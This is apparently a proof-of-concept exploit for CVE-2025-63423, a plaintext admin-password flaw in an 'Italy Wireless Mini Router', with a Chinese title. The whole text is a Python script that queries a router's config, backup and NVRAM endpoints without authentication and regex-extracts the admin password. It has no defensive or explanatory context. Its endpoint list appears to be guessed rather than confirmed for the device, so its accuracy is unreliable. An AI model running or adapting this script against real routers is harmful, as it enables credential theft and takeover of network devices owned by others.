CVE-2025-63423 Italy Wireless Mini Router 管理员密码明文存储漏洞

# CVE-2025-63423 PoC - Italy Wireless Mini Router Password Disclosure # This PoC demonstrates the admin password storage vulnerability import requests import re TARGET_IP = "192.168.1.1" # Router IP address TARGET_URL = f"http://{TARGET_IP}" def exploit_cve_2025_63423(): """ Exploit for CVE-2025-63423: Admin password stored in plaintext This vulnerability allows unauthenticated retrieval of admin credentials """ try: # Method 1: Try to access configuration endpoint that exposes password config_endpoints = [ "/cgi-bin/ExportConfig.sh", "/cgi-bin/getcfg.cgi", "/admin/conf/admin.conf", "/cgi-bin/backup.cgi" ] for endpoint in config_endpoints: try: response = requests.get(TARGET_URL + endpoint, timeout=5) if response.status_code == 200: # Search for password patterns in response password_pattern = re.search(r'password[=:]\s*["\']?([^"\'\s]+)', response.text, re.I) if password_pattern: print(f"[+] Found password at {endpoint}: {password_pattern.group(1)}") return password_pattern.group(1) except requests.exceptions.RequestException: continue # Method 2: Try NVRAM read API if available nvram_url = f"{TARGET_URL}/cgi-bin/nvram.cgi?action=list" nvram_response = requests.get(nvram_url, timeout=5) if nvram_response.status_code == 200: password_match = re.search(r'admin_pass=([^&\s]+)', nvram_response.text) if password_match: print(f"[+] Found admin password in NVRAM: {password_match.group(1)}") return password_match.group(1) print("[-] No password found or device not vulnerable") return None except Exception as e: print(f"[-] Error: {str(e)}") return None if __name__ == "__main__": print("CVE-2025-63423 PoC - Italy Wireless Mini Router Password Disclosure") print("=" * 70) admin_password = exploit_cve_2025_63423() if admin_password: print(f"\n[!] SUCCESS: Admin password extracted: {admin_password}") else: print("\n[-] Failed to extract password")